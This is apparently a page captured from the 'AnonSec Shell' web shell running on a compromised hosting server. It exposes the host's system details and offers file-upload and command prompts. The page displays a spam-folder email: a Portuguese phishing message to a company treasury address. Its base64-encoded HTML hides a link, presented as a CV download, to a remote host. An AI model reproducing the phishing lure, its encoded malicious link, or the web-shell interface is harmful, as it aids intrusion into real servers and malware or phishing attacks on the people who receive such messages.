AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/././././mail/.spam/new/1741284692.M612192P8382.dedi-4363141.lrsys.com.br,S=7070,W=7199
Return-Path: <vaga1980@express8875.financeirorosa.biz>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id CGM0JFTlyWe+IAAAIWsJAg
	(envelope-from <vaga1980@express8875.financeirorosa.biz>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Thu, 06 Mar 2025 15:11:32 -0300
Return-path: <vaga1980@express8875.financeirorosa.biz>
Envelope-to: tesouraria@lrsys.com.br
Delivery-date: Thu, 06 Mar 2025 15:11:32 -0300
Received: from express8875.financeirorosa.biz ([37.27.40.58]:34874)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.98.1)
	(envelope-from <vaga1980@express8875.financeirorosa.biz>)
	id 1tqFgt-000000002By-2QSj
	for tesouraria@lrsys.com.br;
	Thu, 06 Mar 2025 15:11:32 -0300
Received: from express8875.financeirorosa.biz (localhost [127.0.0.1])
	by express8875.financeirorosa.biz (Postfix) with ESMTP id 8AE3323C48
	for <tesouraria@lrsys.com.br>; Thu,  6 Mar 2025 15:10:45 -0300 (-03)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
	d=express8875.financeirorosa.biz; s=default; t=1741284645;
	bh=qMMzyi2jmnNDTgz5H8s4R7QhJCyqJFKaJOJMuOF+/SM=;
	h=From:To:Reply-To:Date:Subject:From;
	b=TbPgItDqZgLXXWA/SGg/nVf8Lbr4XctaiVgonNtSLVeMRoECr4vgqCBFbnoJTc6KS
	 kfcf77cGybDsO4jRF5t+hW/gwZGdwy8gJkilJdETDSkHtdurIA2jtnhSFvduuNkEtC
	 xfmblI6VAJRVWCL/+Pg72yEoe8j19wvqlZeY7DXAhEjO5TuCrwxUnDbYfbdVapgqmp
	 QsNcxLNShpzTsLI3uQponHag8amDSzSB6CZoeVAc2WEZKMRW0pKVLmQO0QCTIDTw/o
	 g4X6ZHha3oH+mHWBePY5Q1HdcjP6FAjltv4GQpMuswwxb0tOFH/lmX7bsuSSC9FMLs
	 rKDVPHGxD30ew==
From: "Xenia Andrade" <vaga1980@express8875.financeirorosa.biz>
To: tesouraria@lrsys.com.br
Content-Type: multipart/alternative; boundary="gvstJaSfqjWw=_sAs6S27UCIE3yEPGkpPd"
MIME-Version: 1.0
Reply-To: yco08@express8875.financeirorosa.biz
Date: Thu, 6 Mar 2025 15:10:45 -0300
Message-Id: <20250306181045.8AE3323C48@express8875.financeirorosa.biz>
X-Spam-Status: Yes, score=11.2
X-Spam-Score: 112
X-Spam-Bar: +++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  An HTML viewer is required to see this message Xenia Andrade
    Caro(a) tesouraria@lrsys.com.br, 
 Content analysis details:   (11.2 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: financeirorosa.biz]
  2.5 URIBL_DBL_PHISH        Contains a Phishing URL listed in the Spamhaus
                             DBL blocklist
                             [URIs: financeirorosa.biz]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [37.27.40.58 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [37.27.40.58 listed in sa-accredit.habeas.com]
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.8 MPART_ALT_DIFF         BODY: HTML and text parts are different
  0.0 HTML_MESSAGE           BODY: HTML included in message
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  0.5 KAM_NUMSUBJECT         Subject ends in numbers excluding current years
  0.8 KAM_INFOUSMEBIZ        Prevalent use of
                             .info|.us|.me|.me.uk|.biz|xyz|id|rocks|life
                              domains in spam/malware
  0.8 FROM_FMBLA_NEWDOM28    From domain was registered in last 14-28
                             days
  0.0 T_KAM_HTML_FONT_INVALID Test for Invalidly Named or Formatted
                             Colors in HTML
X-Spam-Flag: YES
Subject:  ***SPAM***  CV:83219652025

This is a multi-part message in MIME format

--gvstJaSfqjWw=_sAs6S27UCIE3yEPGkpPd
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

An HTML viewer is required to see this message

--gvstJaSfqjWw=_sAs6S27UCIE3yEPGkpPd
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
Content-Disposition: inline

PCFET0NUWVBFIGh0bWw+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJwdC1iciI+CjxoZWFk
PgogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPgo8L2hlYWQ+CiAgPGJvZHk+CiAgICA8ZGl2IHN0
eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyI+CiAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6MThw
eDsiPjxzdHJvbmcgc3R5bGU9ImZvbnQtZmFtaWx5OiBHZW9yZ2lhLCBzZXJpZjsgdGV4dC1hbGln
bjogY2VudGVyOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjSDQyRTI3OyI+WGVuaWEgQW5kcmFkZTwv
c3Bhbj48L3N0cm9uZz48L3NwYW4+CiAgICA8L2Rpdj4KICAgIDxkaXYgc3R5bGU9InRleHQtYWxp
Z246IGxlZnQ7Ij4KICAgICAgPGhyIC8+CiAgICAgIDxwPgogICAgICAgIDxzcGFuIHN0eWxlPSJm
b250LXNpemU6MTRweDsiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogR2VvcmdpYSwgc2VyaWY7
Ij5DYXJvKGEpIHRlc291cmFyaWFAbHJzeXMuY29tLmJyLDwvc3Bhbj48L3NwYW4+CiAgICAgIDwv
cD4KICAgIAogICAgICA8cD4KICAgICAgICA8YSBocmVmPSJoVFRwczovLzc0LTUwLTEyNy00OS5z
dGF0aWMuaHZ2Yy51cy9OMTQzUTBnSVhSWE9SL0pYMHgwQ2lnNUNoWDdUNC9WQl8wMDAzNTQ1Nzkw
MTEiIHRhcmdldD0iX2JsYW5rIiAgZGF0YS1hdXRoPSJOb3RBcHBsaWNhYmxlIiBzdHlsZT0iZGlz
cGxheTogYmxvY2s7IG1heC13aWR0aDogMjkwcHg7IG92ZXJmbG93OiBoaWRkZW47IHRleHQtb3Zl
cmZsb3c6IGVsbGlwc2lzOyB3aGl0ZS1zcGFjZTogbm93cmFwOyB0ZXh0LWRlY29yYXRpb246IG5v
bmU7IHBhZGRpbmc6IDFweCAwOyBib3JkZXI6IG5vbmU7Ij4KICAgICAgICAgIDxzcGFuIHN0eWxl
PSJjb2xvcjogIzE1YzsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB2ZXJ0aWNhbC1hbGlnbjogYm90
dG9tOyI+Q3VyciYjMjM3O2N1bG8gWGVuaWEgQW5kcmFkZSAtICgwNDNNQik8L3NwYW4+CiAgICAg
ICAgPC9hPgogICAgICA8L3A+CiAgICAgIAogICAgICA8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6
IEdlb3JnaWEsIHNlcmlmOyI+QXR0LDwvc3Bhbj4KICAgCiAgICAgICZuYnNwO1hlbmlhIEFuZHJh
ZGUKICAgIDwvZGl2PgogIDwvYm9keT4KPC9odG1sPgo=

--gvstJaSfqjWw=_sAs6S27UCIE3yEPGkpPd--


Anon7 - 2022
AnonSec Team